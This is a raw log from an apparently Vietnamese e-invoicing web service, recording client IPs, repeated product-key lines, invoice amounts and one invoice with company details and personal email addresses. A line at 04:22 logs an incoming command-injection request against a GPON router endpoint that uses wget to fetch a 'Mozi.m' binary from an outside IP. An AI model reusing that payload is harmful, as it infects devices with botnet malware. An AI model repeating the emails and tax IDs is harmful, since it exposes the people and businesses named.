2020-03-18 00:24:35.4530|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 00:24:35.4530|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 00:24:35.4687|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 00:24:35.4687|INFO|EINVOICENET.WebService.ClsLog|157.55.39.209
2020-03-18 00:45:52.7445|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 00:45:52.7445|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 00:45:52.7601|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 00:45:52.7601|INFO|EINVOICENET.WebService.ClsLog|157.55.39.209
2020-03-18 01:14:50.9385|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 01:14:50.9385|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 01:14:50.9541|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 01:14:50.9698|INFO|EINVOICENET.WebService.ClsLog|71.6.167.142
2020-03-18 01:56:52.0183|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 01:56:52.0339|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 01:56:52.0339|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 01:56:52.0496|INFO|EINVOICENET.WebService.ClsLog|186.209.39.6
2020-03-18 02:16:38.5669|INFO|EINVOICENET.WebService.ClsLog|82.114.89.102
2020-03-18 03:27:59.5289|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 03:27:59.5446|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 03:27:59.5446|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 03:27:59.5602|INFO|EINVOICENET.WebService.ClsLog|157.55.39.209
2020-03-18 03:35:25.8777|INFO|EINVOICENET.WebService.ClsLog|106.1.113.73
2020-03-18 03:49:45.6088|INFO|EINVOICENET.WebService.ClsLog|157.55.39.209
2020-03-18 03:57:35.4028|INFO|EINVOICENET.WebService.ClsLog|82.129.6.253
2020-03-18 04:22:52.9980|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 04:22:52.9980|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 04:22:52.9980|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 04:22:53.0136|INFO|EINVOICENET.WebService.ClsLog|219.154.127.76 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://219.154.127.76:50475/Mozi.m+-O+->/tmp/gpon80
2020-03-18 04:34:07.9987|INFO|EINVOICENET.WebService.ClsLog|201.26.14.63
2020-03-18 04:34:08.0299|INFO|EINVOICENET.WebService.ClsLog|201.26.14.63
2020-03-18 04:34:08.0456|INFO|EINVOICENET.WebService.ClsLog|201.26.14.63
2020-03-18 04:34:08.0456|INFO|EINVOICENET.WebService.ClsLog|201.26.14.63
2020-03-18 04:49:45.4615|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:49:46.1959|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:49:48.3524|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:49:49.2118|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:49:49.7431|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:49:51.9777|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:49:52.4778|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:49:57.2595|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:49:58.2908|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:49:59.6190|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:01.4005|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:01.9005|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:02.4162|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:02.9162|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:04.9320|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:05.4321|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:05.9321|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:06.4634|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:11.7139|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:12.4796|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:13.0109|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:13.5266|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:14.0579|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:24.0276|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:30.4032|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 04:50:31.3095|INFO|EINVOICENET.WebService.ClsLog|193.148.18.195
2020-03-18 05:45:58.4648|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 05:45:58.4804|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 05:45:58.4804|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 05:45:58.4961|INFO|EINVOICENET.WebService.ClsLog|95.154.101.209
2020-03-18 06:29:14.7392|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 06:29:14.7392|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 06:29:14.7548|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 06:29:14.7548|INFO|EINVOICENET.WebService.ClsLog|157.55.39.209
2020-03-18 06:36:59.5170|INFO|EINVOICENET.WebService.ClsLog|40.117.192.236
2020-03-18 06:36:59.9702|INFO|EINVOICENET.WebService.ClsLog|40.117.192.236
2020-03-18 06:50:29.4991|INFO|EINVOICENET.WebService.ClsLog|157.55.39.209
2020-03-18 07:14:29.1339|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 07:14:29.1339|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 07:14:29.1496|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 07:14:29.1652|INFO|EINVOICENET.WebService.ClsLog|171.67.70.85
2020-03-18 08:54:51.3455|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 08:54:51.3455|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 08:54:51.3611|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 08:54:51.3767|INFO|EINVOICENET.WebService.ClsLog|40.77.167.121
2020-03-18 09:04:50.7141|INFO|EINVOICENET.WebService.ClsLog|192.168.136.78
2020-03-18 09:04:51.9017|INFO|EINVOICENET.WebService.ClsLog|192.168.136.78
340364
3403640
3744004
0
1
0
1
0
0
1
10
340364
3403640
10
340364
2020-03-18 09:04:53.7613|INFO|EINVOICENET.WebService.ClsLog|192.168.136.78
2020-03-18 09:04:54.1988|INFO|EINVOICENET.WebService.ClsLog|192.168.136.78
747590
7475900
8223490
0
1
0
1
0
0
1
4
467000
1868000
10
186800
2
8
141200
1129600
10
112960
3
10
232500
2325000
10
232500
4
1
342600
342600
10
34260
5
1
230500
230500
10
23050
6
10
144000
1440000
10
144000
7
1
140200
140200
10
14020
2020-03-18 09:06:06.8775|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
2020-03-18 09:06:21.1913|INFO|EINVOICENET.WebService.ClsLog|192.168.136.78
2020-03-18 09:06:21.6757|INFO|EINVOICENET.WebService.ClsLog|192.168.136.78
1200000
12000000
13200000
0
1
0
1
0
0
1
50
165000
8250000
10
825000
2
10
375000
3750000
10
375000
2020-03-18 09:11:07.4369|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
2020-03-18 09:11:07.8744|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
77720
777200
854920
0
1
0
1
0
0
1
20
38860
777200
10
77720
2020-03-18 09:15:29.3989|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
2020-03-18 09:15:29.8208|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
199800
1998000
2197800
0
1
0
1
0
0
1
2
447000
894000
10
89400
2
2
363000
726000
10
72600
3
2
189000
378000
10
37800
2020-03-18 09:29:18.4609|INFO|EINVOICENET.WebService.ClsLog|157.55.39.209
2020-03-18 09:50:30.4394|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 09:50:30.4394|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 09:50:30.4550|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 09:50:30.4706|INFO|EINVOICENET.WebService.ClsLog|157.55.39.209
2020-03-18 10:05:01.8253|INFO|EINVOICENET.WebService.ClsLog|190.122.153.24
2020-03-18 10:31:51.4292|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 10:31:51.4448|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 10:31:51.4448|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 10:31:51.4604|INFO|EINVOICENET.WebService.ClsLog|162.243.130.174
2020-03-18 10:35:04.6348|INFO|EINVOICENET.WebService.ClsLog|66.249.73.58
2020-03-18 11:01:48.1567|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 11:01:48.1567|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 11:01:48.1723|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 11:01:48.1723|INFO|EINVOICENET.WebService.ClsLog|66.240.236.119
2020-03-18 11:21:19.9539|INFO|EINVOICENET.WebService.ClsLog|40.77.167.121
2020-03-18 11:26:45.7344|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
2020-03-18 11:29:03.1379|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
2020-03-18 11:29:03.5754|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
77720
777200
854920
0
1
0
1
0
0
1
20
38860
777200
10
77720
2020-03-18 11:36:43.4623|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
2020-03-18 12:33:13.0353|INFO|EINVOICENET.WebService.ClsLog|start
2020-03-18 12:33:13.0509|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 12:33:13.0509|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-03-18 12:33:13.0665|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:14.8321|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:16.0821|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:16.9102|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:17.4101|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:18.3007|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:18.7851|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:19.4570|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:20.2694|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:21.0663|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:21.7069|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:22.2069|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:22.7068|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:23.5193|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:24.1130|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:24.5349|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:24.8630|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:25.3161|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:25.9099|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:26.7223|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:27.3004|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:27.7379|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:28.6910|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:29.5035|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:30.1128|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:30.8003|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:31.4253|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:32.0034|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:32.8315|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:33.4565|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:34.0658|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:34.6127|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:35.3314|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:36.1751|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:36.7532|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:37.5501|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:37.9876|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:38.5657|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:39.1125|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:39.6750|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:40.6281|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:40.9562|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:41.6437|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:42.1593|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:42.7062|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:43.5186|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:44.0186|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:33:44.6592|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:36:22.1300|INFO|EINVOICENET.WebService.ClsLog|176.74.192.99
2020-03-18 12:36:26.4739|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:27.6459|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:28.3959|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:29.8335|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:30.5835|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:31.0992|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:31.7867|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:32.4117|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:32.8493|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:33.6149|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:34.4118|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:35.0994|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:35.7088|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:36.3807|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:37.1307|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:37.7870|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:38.4120|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:39.0214|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:39.5527|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:40.1309|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:40.8184|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:41.5059|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:42.2716|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:43.0060|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:43.7248|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:44.3967|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:45.3030|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:45.8343|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:46.5218|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:47.3343|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:47.5844|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:48.3031|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:48.9907|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:49.7251|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:50.1626|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:50.7408|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:51.2720|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:51.9596|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:52.6784|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:53.4753|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:54.1472|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:54.8347|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:55.5691|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:56.3192|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:57.0692|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:58.2099|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:58.8037|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:59.1630|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:36:59.9287|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:00.4287|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:00.9600|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:01.2100|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:12.1793|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:13.3356|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:13.9763|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:14.6794|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:15.4607|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:16.1014|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:16.7264|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:17.2421|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:17.9140|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:19.2890|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:20.0703|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:21.4298|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:21.8829|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:22.5861|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:22.8673|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:23.4924|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:24.0080|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:26.3363|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:26.8363|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:27.8832|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:37:28.5239|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:43:35.9552|INFO|EINVOICENET.WebService.ClsLog|176.74.199.2
2020-03-18 12:57:18.7462|INFO|EINVOICENET.WebService.ClsLog|157.55.39.209
2020-03-18 13:14:27.5457|INFO|EINVOICENET.WebService.ClsLog|171.67.70.85
2020-03-18 13:20:09.2027|INFO|EINVOICENET.WebService.ClsLog|157.55.39.209
2020-03-18 13:26:13.6743|INFO|EINVOICENET.WebService.ClsLog|83.97.20.34
2020-03-18 13:29:32.3960|INFO|EINVOICENET.WebService.ClsLog|66.249.73.60
2020-03-18 13:33:05.7129|INFO|EINVOICENET.WebService.ClsLog|66.249.73.56
2020-03-18 13:33:46.6230|INFO|EINVOICENET.WebService.ClsLog|66.249.73.58
2020-03-18 13:44:36.3400|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
2020-03-18 13:44:37.0589|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
Hóa don giá tr? gia tang
01GTKT0/001
AA/20E
2020-03-17
2020-03-17
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B1265
0302462730C
Công Ty TNHH Tam T?n
Lô S? 2-5 Khu E1, Khu Công Nghi?p Tân Th?i Hi?p, Phu?ng Hi?p Thành, Qu?n 12, TP.HCM
ltuanthanh@gmail.com,tranngocminhtri58@gmail.com,huynhphuong270478@gmail.com
77720
777200
854920
0
Tám tram nam muoi b?n nghìn, chín tram hai muoi d?ng ch?n
VND
01
1
0
1
THANH
1
1
FHDA0012401
1
20
38860
777200
10
77720
2020-03-18 13:52:49.1049|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
2020-03-18 13:52:50.2613|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
398275
3982746
4381021
0
1
0
1
0
0
1
10
61740
617400
10
61740
2
10
61740
617400
10
61740
3
10
61740
617400
10
61740
4
6
355091
2130546
10
213055
2020-03-18 13:52:52.7928|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
2020-03-18 13:52:53.5741|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
754920
7549200
8304120
0
1
0
1
0
0
1
600
4462
2677200
10
267720
2
300
16240
4872000
10
487200
2020-03-18 13:52:55.8556|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
2020-03-18 13:52:56.6994|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
95455
954548
1050003
0
1
0
1
0
0
1
7
136364
954548
10
95455
2020-03-18 13:52:58.5589|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
2020-03-18 13:52:59.3871|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
529500
5295000
5824500
0
1
0
1
0
0
1
200
13800
2760000
10
276000
2
15
44500
667500
10
66750
3
75
12500
937500
10
93750
4
25
37200
930000
10
93000
2020-03-18 13:53:01.7311|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
2020-03-18 13:53:02.5124|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
167400
1674000
1841400
0
1
0
1
0
0
1
10
167400
1674000
10
167400
2020-03-18 13:53:04.6845|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
2020-03-18 13:53:05.5909|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
97760
977600
1075360
0
1
0
1
0
0
1
20
38320
766400
10
76640
2
40
5280
211200
10
21120
2020-03-18 13:53:08.2474|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
2020-03-18 13:53:09.0443|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
493830
4938300
5432130
0
1
0
1
0
0
1
2
2469150
4938300
10
493830
2020-03-18 13:53:10.4038|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
2020-03-18 13:53:11.1851|INFO|EINVOICENET.WebService.ClsLog|192.168.136.52
4219853
42198525
46418378
0
1
0
1
0
0
1
60
49580
2974800
10
297480
2
10
49580
495800
10
49580
3
107
136345
14588915
10
1458892
4
28
136345
3817660
10
381766
5
10
263645
2636450
10
263645
6
24
315235
7565640
10
756564
7
12
790600
9487200
10
948720
8
1
632060
632060
10
63206
2020-03-18 15:26:20.3022|INFO|EINVOICENET.WebService.ClsLog|start
